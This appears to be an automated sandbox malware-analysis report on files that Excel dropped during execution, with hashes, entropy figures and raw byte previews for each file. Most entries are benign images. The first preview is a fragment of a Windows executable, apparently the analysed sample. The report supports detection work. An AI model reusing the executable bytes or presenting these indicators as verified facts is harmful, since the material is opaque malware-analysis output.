Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`.............................:... ........@.. ....................................@.................................h:..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......&..............@..B.................:......H.....................................................................z+.&.+.&.(....(....(.....o......0..........+.&.+.&.+.&..+2..(....8....&.(....,..+..+.-.8......(....+..8l....E........................I.......^.....,..+..+.-.&..(.....+...(....(....(....,..+..+.-.&.(....,..+..+.-.&+..+...(....+.&8s....8}...f+.&.+.&..(....(....(....f+.&.+.&..(....(....(....+.&.+.&..+.&.+.&..B+.&.+.&...(....B+.&.+.&...(....B+.&.+.&...(....B+.&.+.&...(....B+.&.+.&...(....*>+.&.+.&

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\16EE378D.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	7592
Entropy (8bit):	5.450661926170108
Encrypted:	false
SSDEEP:	96:znsvcqblJaXn/08pnDp0d7vilxL01/G37uVH1oL6lcQtoVhZxGOme3SBwi:bTSTxK/LA/FVoL3QtKhn+e3+wi
MD5:	17B9F98D1C76FFB9CB98F76AF51255C7
SHA1:	60638BF2B2C86CD39FC641579BADB3EEB95D9B8E
SHA-256:	CE35A5CF29C4553D2FCED6B9BDBC852599CE04CDEDBBAB6D1D1C3864F0605234
SHA-512:	A8D7220B0024B4BA3B3876ED7C12243CC9A227D033B7847349BC75D4E48811F1C8D42D8BFE518DC4C2DA990A82EF2B03963A17FF0B04959FC160C65F9B008255
Malicious:	false
Reputation:	low
Preview:	....l...(.......e...<................... EMF................................8...X....................?..................................C...R...p...................................S.e.g.o.e. .U.I...................................................l.6.).X.......d...................t...0...'.q....\...t.......t.......W.q....t....6Ov_.q......q.yl.Dy.w`..................w....$.......d...........J^.q.... ^.q ...`...H.......-........<.w................<..v.Zfv....X..o.....yl.......................gvdv......%...................................r...................'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .........................................................................................................................................................................................................................................HD?^KHCcNJFfOJFiQMHlSPJoUPLrWRMvYSPx[UR{]XQ~^XS._ZT.a[U.c\U.e^V.e^X.g`Y.hbY.jaZ.jb\.ld].ld].nd^.nf^.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1B155F94.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 220x220, segment length 16, baseline, precision 8, 550x310, frames 3
Category:	dropped
Size (bytes):	29499
Entropy (8bit):	7.667442162526095
Encrypted:	false
SSDEEP:	384:ac8UyN1qqyn7FdNfzZY3AJ0NcoEwa4OXyTqEunn9k+MPiEWsKHBm8oguHh9kt98g:p8wn7TNfzZ0NcnwR6kvKPsPWghY6g
MD5:	4FBDDF16124B6C9368537DF70A238C14
SHA1:	45E34D715128C6954F589910E6D0429370D3E01A
SHA-256:	0668A8E7DA394FE73B994AD85F6CA782F6C09BFF2F35581854C2408CF3909D86
SHA-512:	EA17593F175D49792629EC35320AD21D5707CB4CF9E3A7B5DA362FC86AF207F0C14059B51233C3E371F2B7830EAD693B604264CA50968891B420FEA2FC4B29EC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............C....................................................................C.......................................................................6.&.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...0.F...GEH.[....^......Z]k?B..]...A.....q.<..].c....G....Z}.....=.y1.......x->.=.....<.........<..E....a.L...h.c....O..e..a.L...h.c....O..e..a.L...k/_..Mf.[.o.@C(..k^..P..l8........${..Ly.)..'".....N)." .$e.a....-....B.{.\f...).%a.J..>.9b.X..V.%i.Q....%h.V.E...X..V..Q..GQRR?A..!..;.g..B...2..u..W............'..kN.X.,Fy+G...(.r.g..y+O..X.,Fy+H.#)_,...%.r.9Q

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1DB22BDB.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 399 x 605, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50311
Entropy (8bit):	7.960958863022709
Encrypted:	false
SSDEEP:	768:hfo72tRlBZeeRugjj8yooVAK92SYAD0PSsX35SVFN0t3HcoNz8WEK6Hm8bbxXVGx:hf0WBueSoVAKxLD06w35SEVNz8im0AEH
MD5:	4141C7515CE64FED13BE6D2BA33299AA
SHA1:	B290F533537A734B7030CE1269AC8C5398754194
SHA-256:	F6B0FE628E1469769E6BD3660611B078CEF6EE396F693361B1B42A9100973B75
SHA-512:	74E9927BF0C6F8CB9C3973FD68DAD12B422DC4358D5CCED956BC6A20139B21D929E47165F77D208698924CB7950A7D5132953C75770E4A357580BF271BD9BD88
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......].......^....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD..............oFFs.......F.#-nT....pHYs...%...%.IR$.....vpAg.......0...O.....IDATx...h.w....V!...D.........4.p .X(r..x.&..K.(.L...P..d5.R......b.......C...BP...,% ....qL.,.!E.ni..t......H._......G..\|~=.....<..#.J!.N.a..a.Q.V...t:.M.v;=..0.s..ixa...0..<...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..qM../.u....h6..\|.22..g4M.........C.u..y,--..'....a.?~.W.\i.>7q.j..y....iLNN.....5\..w"..b~~...J.sssm.d.Y.u.G....s.\..R.`qq.....C;..$..&..2..x..J..fgg...]=g.Y.y..N..(SN.S8.eZ.T...=....4.?~..uK.;....SSS...iY.Q.n.I.u\.x..o.,.av.N.(..H..B..X......... ..amm...h4.t:..].j..tz[.(..#..}yy./..".z.-[!4....a...jj......,dY.7.\|.F.....\.~.g.....x..Y...R..\.....w.\.h..K....h..nM

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\399ED285.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	49744
Entropy (8bit):	7.99056926749243
Encrypted:	true
SSDEEP:	768:wnuJ6p14x3egT1LYye1wBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:Yfp1UeWNYF1UiPm+/q1sxZB/ZS
MD5:	63A6CB15B2B8ECD64F1158F5C8FBDCC8
SHA1:	8783B949B93383C2A5AF7369C6EEB9D5DD7A56F6
SHA-256:	AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232
SHA-512:	BB42A40E6EADF558C2AAE82F5FB60B8D3AC06E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6B45
Malicious:	false
Preview:	.PNG........IHDR..............I.M....IDATx....T.]...G.;..nuww7.s...U..K......Ih....q!i...K....t.'k.W..i..>.......B.....E.0....f.a.....e....++...P..\|..^...L.S}r:..............sM....p..p-..y]...t7'.D)....../...k....pzos.......6;,..H.....U..a..9..1...$.......kI<..\F...$.E....?[B(.9.....H..!.....0AV..g.m...23..C..g(.%...6..>.O.r...L..t1.Q-.bE......)........\|i ..."....V.g.\.G..p..p.X[.....%hyt...@..J...~.p.....\|..>...~.`..E_....iU.G...i.O..r6...iV.....@..........Jte...5Q.P.v;..B.C...m......0.N......q...b.....Q...c.moT.e6OB...p.v"...."........9..G....B}...../m...0g...8......6.$.$]p...9.....Z.a.sr.;B.a....m...>...b..B..K...{...+w?....B3...2...>.......1..-.'.l.p........L....\.K..P.q......?>..fd.`w..y..\|y..,.....i..'&.?.....).e.D ?.06......U.%.2t........6.:..D.B....+~.....M%".fG]b\.[........1....".......GC6.....J.+......r.a...ieZ..j.Y...3..Q*m.r.urb.5@.e.v@@....gsb.{q-..3j........s.f.\|8s$p.?3H......0`..6)...bD....^..+....9..;$...W::.jBH..!tK

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\659ACB16.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1686 x 725, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	79394
Entropy (8bit):	7.864111100215953
Encrypted:	false
SSDEEP:	1536:ACLfq2zNFewyOGGG0QZ+6G0GGGLvjpP7OGGGeLEnf85dUGkm6COLZgf3BNUdQ:7PzbewyOGGGv+6G0GGG7jpP7OGGGeLEe
MD5:	16925690E9B366EA60B610F517789AF1
SHA1:	9F3FE15AE44644F9ED8C2CA668B7020DF726426B
SHA-256:	C3D7308B11E8C1EFD9C0A7F6EC370A13EC2C87123811865ED372435784579C1F
SHA-512:	AEF16EA5F33602233D60F6B6861980488FD252F14DCAE10A9A328338A6890B081D59DCBD9F5B68E93D394DEF2E71AD06937CE2711290E7DD410451A3B1E54CDD
Malicious:	false
Preview:	.PNG........IHDR................J....sRGB.........gAMA......a.....pHYs...t...t..f.x....IDATx^....~.y.....K...E...):.#.Ik..$o.....a.-[..S..MA..Bc..i+..e...u["R.., (.b...IT.0X.}...(..@...F>...v....s.g.....x.>...9s..q]s......w...^z...........?........9D.}.w}W..RK..........S..y....S.y....S.J_..qr.....I}\|.._...>r.v~..G..)..#.>z._....\|.#..fF..?.G......zO.C.......zO.%......'....S..y....S.y....S.J_..qr.....I}\|.._...>r.v~..G..)..#.>z....._.W.~....S.......c..zO.C..N.vO.%............S..y....S.y....S.J_..qr.....I}\|.._...>r.v~..G..)..#.>z..&nf..?........zO.C...o...{J-......._..S..y....S.y....S.J_..qr.....I}\|.._...>r.v~..G..)..#.>z...6..........J..:.......SjI..=...}.zO.#.%.vO.+...vO.+}.R...6.f.'..m.~m.~..=..5C.....4[....%uw........M.r..M.k.:N.q4[<..o..k...G......XE=..b$.G.,..K...H'._nj..kJ_..qr.....I}\|.._...>r.v~..G..)..#.>......R...._..j.G...Y.>..!......O..{....L.}S..\|.=}.>..OU...m.ks/....x..l....X.]e......?.........$...F.........>..{.Qb......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8100002A.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	49744
Entropy (8bit):	7.99056926749243
Encrypted:	true
SSDEEP:	768:wnuJ6p14x3egT1LYye1wBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:Yfp1UeWNYF1UiPm+/q1sxZB/ZS
MD5:	63A6CB15B2B8ECD64F1158F5C8FBDCC8
SHA1:	8783B949B93383C2A5AF7369C6EEB9D5DD7A56F6
SHA-256:	AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232
SHA-512:	BB42A40E6EADF558C2AAE82F5FB60B8D3AC06E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6B45
Malicious:	false
Preview:	.PNG........IHDR..............I.M....IDATx....T.]...G.;..nuww7.s...U..K......Ih....q!i...K....t.'k.W..i..>.......B.....E.0....f.a.....e....++...P..\|..^...L.S}r:..............sM....p..p-..y]...t7'.D)....../...k....pzos.......6;,..H.....U..a..9..1...$.......kI<..\F...$.E....?[B(.9.....H..!.....0AV..g.m...23..C..g(.%...6..>.O.r...L..t1.Q-.bE......)........\|i ..."....V.g.\.G..p..p.X[.....%hyt...@..J...~.p.....\|..>...~.`..E_....iU.G...i.O..r6...iV.....@..........Jte...5Q.P.v;..B.C...m......0.N......q...b.....Q...c.moT.e6OB...p.v"...."........9..G....B}...../m...0g...8......6.$.$]p...9.....Z.a.sr.;B.a....m...>...b..B..K...{...+w?....B3...2...>.......1..-.'.l.p........L....\.K..P.q......?>..fd.`w..y..\|y..,.....i..'&.?.....).e.D ?.06......U.%.2t........6.:..D.B....+~.....M%".fG]b\.[........1....".......GC6.....J.+......r.a...ieZ..j.Y...3..Q*m.r.urb.5@.e.v@@....gsb.{q-..3j........s.f.\|8s$p.?3H......0`..6)...bD....^..+....9..;$...W::.jBH..!tK

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8C2ED72E.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1268 x 540, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51166
Entropy (8bit):	7.767050944061069
Encrypted:	false
SSDEEP:	1536:zdKgAwKoL5H8LiLtoEdJ9OSbB7laAvRXDlBig49A:JDAQ9H8/GMSdhahg49A
MD5:	8C29CF033A1357A8DE6BF1FC4D0B2354
SHA1:	85B228BBC80DC60D40F4D3473E10B742E7B9039E
SHA-256:	E7B744F45621B40AC44F270A9D714312170762CA4A7DAF2BA78D5071300EF454
SHA-512:	F2431F3345AAB82CFCE2F96E1D54E53539964726F2E0DBC1724A836AD6281493291156AAD7CA263B829E4A1210A118E6FA791F198B869B4741CB47047A5E6D6A
Malicious:	false
Preview:	.PNG........IHDR.............q~.....sRGB.........gAMA......a.....pHYs..........o.d...sIDATx^..;.,;.......d..........{...m.m....4...h..B.d...%x.?..{w.$#.Aff..?W.........x.(.......................^....{.......^j................................oP.C?@GGGGGGGGGG?@GGGGG.F}c.............E).....c._....w{}......e;.._ttttt.X..........C.....uOV.+..l...\|?................@GGG?@GGG./...uK.WnM'.....s.s...`.........ttttt.:::..........:.z.{...'..=.......ttt..g.:::z......=......F..'..O..sLU..:nZ.DGGGGGGGGG.AGGGGGGGG.Y.....#~.......7,...................O..b.GZ..........].....].....]....]...CO.vX>......@GGGw/3.......tttt.2...s....n.U.!.....:.....:.....:....%...'..)w.....................>.{............<;...........^..z........./..=..........................~.]..q.t...AGGGGGGGGGG?@GGGGGGG...AA........................~..............z...^...\........._ttttt.X..........C....o.{.O.Y1........=....]^X......ttt..tttt.....f.%...............nAGGGG.....[.....=....b....?{.....=......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\912ABE23.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	84203
Entropy (8bit):	7.979766688932294
Encrypted:	false
SSDEEP:	1536:RrpoeM3WUHO25A8HD3So4lL9jvtO63O2l/Wr9nuQvs+9QvM4PmgZuVHdJ5v3ZK7+:H5YHOhwx4lRTtO6349uQvXJ4PmgZu11J
MD5:	208FD40D2F72D9AED77A86A44782E9E2
SHA1:	216B99E777ED782BDC3BFD1075DB90DFDDABD20F
SHA-256:	CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
SHA-512:	7BCE80FFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DB9D5ED8DA93C223F265C179CFADA609A64
Malicious:	false
Preview:	.PNG........IHDR...6...........>(....sRGB.........gAMA......a.....pHYs..........+......IDATx^.=v\9..H..f...:ZA..,'..j.r4.........SEJ,%..VPG..K.=....@.$oI.e7....U...... ....>n~&..._..._.rg....L...D.G!0..G!;...?...Oo.7....Cc...G....g>......_o..._._.}q...k.....ru..T.....S.!....~..@Y96.S.....&..1.:....o...q.6..S...'n..H.hS......y;.N.l.)."[ `.f.X.u.n.;........._h.(.u\|0a.....].R.z...2......GJY\|\..+b...{>vU.....i...........w+.p...X..._.V.-z..s..U..cR..g^..X......6n...6....O6.-.AM.f.=y ...7...;X....q..\|...=.\|K...w...}O..{\|...G........~.o3.....z....m6...sN.0..;/....Y..H..o............~........(W.`...S.t......m....+.K...<..M=...IN.U..C..].5.=...s..g.d..f.<Km..$..fS...o..:..}@...;k..m.L./.$......,}....3%..\|j.....b.r7.O!F...c'......$...)....\|O.CK...._......Nv....q.t3l.,. ....vD.-..o..k.w.....X...-C..KGld.8.a}\|..,.....,....q.=r..Pf.V#.....n...}........[w...N.b..W......;..?.Oq..K{>.K.....{w{.......6'/...,.}.E...X.I.-Y].JJm.j..pq\|.0...e.v......17...:F

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AAED141F.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1268 x 540, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51166
Entropy (8bit):	7.767050944061069
Encrypted:	false
SSDEEP:	1536:zdKgAwKoL5H8LiLtoEdJ9OSbB7laAvRXDlBig49A:JDAQ9H8/GMSdhahg49A
MD5:	8C29CF033A1357A8DE6BF1FC4D0B2354
SHA1:	85B228BBC80DC60D40F4D3473E10B742E7B9039E
SHA-256:	E7B744F45621B40AC44F270A9D714312170762CA4A7DAF2BA78D5071300EF454
SHA-512:	F2431F3345AAB82CFCE2F96E1D54E53539964726F2E0DBC1724A836AD6281493291156AAD7CA263B829E4A1210A118E6FA791F198B869B4741CB47047A5E6D6A
Malicious:	false
Preview:	.PNG........IHDR.............q~.....sRGB.........gAMA......a.....pHYs..........o.d...sIDATx^..;.,;.......d..........{...m.m....4...h..B.d...%x.?..{w.$#.Aff..?W.........x.(.......................^....{.......^j................................oP.C?@GGGGGGGGGG?@GGGGG.F}c.............E).....c._....w{}......e;.._ttttt.X..........C.....uOV.+..l...\|?................@GGG?@GGG./...uK.WnM'.....s.s...`.........ttttt.:::..........:.z.{...'..=.......ttt..g.:::z......=......F..'..O..sLU..:nZ.DGGGGGGGGG.AGGGGGGGG.Y.....#~.......7,...................O..b.GZ..........].....].....]....]...CO.vX>......@GGGw/3.......tttt.2...s....n.U.!.....:.....:.....:....%...'..)w.....................>.{............<;...........^..z........./..=..........................~.]..q.t...AGGGGGGGGGG?@GGGGGGG...AA........................~..............z...^...\........._ttttt.X..........C....o.{.O.Y1........=....]^X......ttt..tttt.....f.%...............nAGGGG.....[.....=....b....?{.....=......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AE8DEBC.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	7608
Entropy (8bit):	5.091127811854214
Encrypted:	false
SSDEEP:	96:+SDjyLSR5gs3iwiMO10VCVU7ckQadVDYM/PVfmhDqpH:5Djr+sW31RGtdVDYM3VfmkpH
MD5:	EB06F07412A815AED391F20298C1087B
SHA1:	AC0601FFC173F50B56C3AE2265C61B76711FBE01
SHA-256:	5CA81C391E8CA113254221D535BE4E0677908DA61DE0016EC963DD443F535FDE
SHA-512:	38AEF603FAC0AB6FB7159EBA5B48BD7E191A433739710AEACB11538E51ADA5E99CD724BE5B3886986FCBB02375B0C132B0C303AE8838602BCE88475DDD727A49
Malicious:	false
Preview:	....l...,...........<................... EMF................................8...X....................?..................................C...R...p...................................S.e.g.o.e. .U.I....................................................v.Ze..............%f^..................Y...Y.'.wq....\.....Y.......Y.@.Y.W.wq......Y..6.v_.wq......wq.Ze.4.g^..Y...f^0.g^......g^..f^........4.g^@.Y...f^......f^..........g^..Y.......g^4tf^..g^............<..u.Z.v.....Ze......Ze........................vdv......%...................................r...................'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .............................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C3EEAEC2.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	84203
Entropy (8bit):	7.979766688932294
Encrypted:	false
SSDEEP:	1536:RrpoeM3WUHO25A8HD3So4lL9jvtO63O2l/Wr9nuQvs+9QvM4PmgZuVHdJ5v3ZK7+:H5YHOhwx4lRTtO6349uQvXJ4PmgZu11J
MD5:	208FD40D2F72D9AED77A86A44782E9E2
SHA1:	216B99E777ED782BDC3BFD1075DB90DFDDABD20F
SHA-256:	CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
SHA-512:	7BCE80FFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DB9D5ED8DA93C223F265C179CFADA609A64
Malicious:	false
Preview:	.PNG........IHDR...6...........>(....sRGB.........gAMA......a.....pHYs..........+......IDATx^.=v\9..H..f...:ZA..,'..j.r4.........SEJ,%..VPG..K.=....@.$oI.e7....U...... ....>n~&..._..._.rg....L...D.G!0..G!;...?...Oo.7....Cc...G....g>......_o..._._.}q...k.....ru..T.....S.!....~..@Y96.S.....&..1.:....o...q.6..S...'n..H.hS......y;.N.l.)."[ `.f.X.u.n.;........._h.(.u\|0a.....].R.z...2......GJY\|\..+b...{>vU.....i...........w+.p...X..._.V.-z..s..U..cR..g^..X......6n...6....O6.-.AM.f.=y ...7...;X....q..\|...=.\|K...w...}O..{\|...G........~.o3.....z....m6...sN.0..;/....Y..H..o............~........(W.`...S.t......m....+.K...<..M=...IN.U..C..].5.=...s..g.d..f.<Km..$..fS...o..:..}@...;k..m.L./.$......,}....3%..\|j.....b.r7.O!F...c'......$...)....\|O.CK...._......Nv....q.t3l.,. ....vD.-..o..k.w.....X...-C..KGld.8.a}\|..,.....,....q.=r..Pf.V#.....n...}........[w...N.b..W......;..?.Oq..K{>.K.....{w{.......6'/...,.}.E...X.I.-Y].JJm.j..pq\|.0...e.v......17...:F

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C7E87C20.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category:	dropped
Size (bytes):	8815
Entropy (8bit):	7.944898651451431
Encrypted:	false
SSDEEP:	192:Qjnr2Il8e7li2YRD5x5dlyuaQ0ugZIBn+0O2yHQGYtPto:QZl8e7li2YdRyuZ0b+JGgtPW
MD5:	F06432656347B7042C803FE58F4043E1
SHA1:	4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256:	409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
SHA-512:	358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE95F0E
Malicious:	false
Preview:	......JFIF...................................................) ..(...!1!%)-.....383,7(..,...........+...7++++-+++++++++++++++---++++++++-+++++++++++++++++...........".......................................F........................!."1A..QRa.#2BSq......3b.....$c....C...Er.5.........................................................?..x.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..O..U..D.t^...u.B...V9.f..<..t(.kt...d.@...&3)d@@?.q...t..3!.... .9.r.....Q.(:.W..X&..&.1&T..K..\|kc.....[..l.3(f+.c...:+....5....hHR.0....^R.G..6...&pB..d.h.04.+..S...M........[....'......J...,...<.O.........Yn...T.!..E*G.[I..-.......$e&........z..[..3.+~..a.u9d.&9K.xkX'.."...Y...l.......MxPu..b..:0e:.R.#.......U....E...4Pd/..0.`.4 ...A...t.....2....gb[)b.I."&..y1..........l.s>.ZA?..........3... z^....L.n6..Am.1m....0../..~.y......1.b.0U...5.oi.\.LH1.f....sl................f.'3?...bu.P4>...+..B....eL....R.,...<....3.0O$,=..K.!....Z.......O.I.z....am....C.k..iZ ...<ds....f8f..R....K

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CB9B4157.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 220x220, segment length 16, baseline, precision 8, 550x310, frames 3
Category:	dropped
Size (bytes):	29499
Entropy (8bit):	7.667442162526095
Encrypted:	false
SSDEEP:	384:ac8UyN1qqyn7FdNfzZY3AJ0NcoEwa4OXyTqEunn9k+MPiEWsKHBm8oguHh9kt98g:p8wn7TNfzZ0NcnwR6kvKPsPWghY6g
MD5:	4FBDDF16124B6C9368537DF70A238C14
SHA1:	45E34D715128C6954F589910E6D0429370D3E01A
SHA-256:	0668A8E7DA394FE73B994AD85F6CA782F6C09BFF2F35581854C2408CF3909D86
SHA-512:	EA17593F175D49792629EC35320AD21D5707CB4CF9E3A7B5DA362FC86AF207F0C14059B51233C3E371F2B7830EAD693B604264CA50968891B420FEA2FC4B29EC
Malicious:	false
Preview:	......JFIF.............C....................................................................C.......................................................................6.&.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...0.F...GEH.[....^......Z]k?B..]...A.....q.<..].c....G....Z}.....=.y1.......x->.=.....<.........<..E....a.L...h.c....O..e..a.L...h.c....O..e..a.L...k/_..Mf.[.o.@C(..k^..P..l8........${..Ly.)..'".....N)." .$e.a....-....B.{.\f...).%a.J..>.9b.X..V.%i.Q....%h.V.E...X..V..Q..GQRR?A..!..;.g..B...2..u..W............'..kN.X.,Fy+G...(.r.g..y+O..X.,Fy+H.#)_,...%.r.9Q

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DF63ADE7.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	648132
Entropy (8bit):	2.8124530118203914
Encrypted:	false
SSDEEP:	3072:134UL0tS6WB0JOqFB5AEA7rgXuzqr8nG/qc+L+:l4UcLe0JOcXuurhqcJ
MD5:	955A9E08DFD3A0E31C7BCF66F9519FFC
SHA1:	F677467423105ACF39B76CB366F08152527052B3
SHA-256:	08A70584E1492DA4EC8557567B12F3EA3C375DAD72EC15226CAFB857527E86A5
SHA-512:	39A2A0C062DEB58768083A946B8BCE0E46FDB2F9DDFB487FE9C544792E50FEBB45CEEE37627AA0B6FEC1053AB48841219E12B7E4B97C51F6A4FD308B52555688
Malicious:	false
Preview:	....l...........................Q>...!.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i......................................................V$.....o..f.V.@o.%.....o...o.....L.o...o.RQAXL.o.D.o.......o.0.o.$QAXL.o.D.o. ...Id.VD.o.L.o. ............d.V........................................%...X...%...7...................{$..................C.a.l.i.b.r.i.............o.X...D.o.x.o..8.V........dv......%...........%...........%...........!..............................."...........%...........%...........%...........T...T..........................@.E.@............L.......................P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E7630DA1.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1686 x 725, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	79394
Entropy (8bit):	7.864111100215953
Encrypted:	false
SSDEEP:	1536:ACLfq2zNFewyOGGG0QZ+6G0GGGLvjpP7OGGGeLEnf85dUGkm6COLZgf3BNUdQ:7PzbewyOGGGv+6G0GGG7jpP7OGGGeLEe
MD5:	16925690E9B366EA60B610F517789AF1
SHA1:	9F3FE15AE44644F9ED8C2CA668B7020DF726426B
SHA-256:	C3D7308B11E8C1EFD9C0A7F6EC370A13EC2C87123811865ED372435784579C1F
SHA-512:	AEF16EA5F33602233D60F6B6861980488FD252F14DCAE10A9A328338A6890B081D59DCBD9F5B68E93D394DEF2E71AD06937CE2711290E7DD410451A3B1E54CDD
Malicious:	false
Preview:	.PNG........IHDR................J....sRGB.........gAMA......a.....pHYs...t...t..f.x....IDATx^....~.y.....K...E...):.#.Ik..$o.....a.-[..S..MA..Bc..i+..e...u["R.., (.b...IT.0X.}...(..@...F>...v....s.g.....x.>...9s..q]s......w...^z...........?........9D.}.w}W..RK..........S..y....S.y....S.J_..qr.....I}\|.._...>r.v~..G..)..#.>z._....\|.#..fF..?.G......zO.C.......zO.%......'....S..y....S.y....S.J_..qr.....I}\|.._...>r.v~..G..)..#.>z....._.W.~....S.......c..zO.C..N.vO.%............S..y....S.y....S.J_..qr.....I}\|.._...>r.v~..G..)..#.>z..&nf..?........zO.C...o...{J-......._..S..y....S.y....S.J_..qr.....I}\|.._...>r.v~..G..)..#.>z...6..........J..:.......SjI..=...}.zO.#.%.vO.+...vO.+}.R...6.f.'..m.~m.~..=..5C.....4[....%uw........M.r..M.k.:N.q4[<..o..k...G......XE=..b$.G.,..K...H'._nj..kJ_..qr.....I}\|.._...>r.v~..G..)..#.>......R...._..j.G...Y.>..!......O..{....L.}S..\|.=}.>..OU...m.ks/....x..l....X.]e......?.........$...F.........>..{.Qb......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EE4D7F29.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
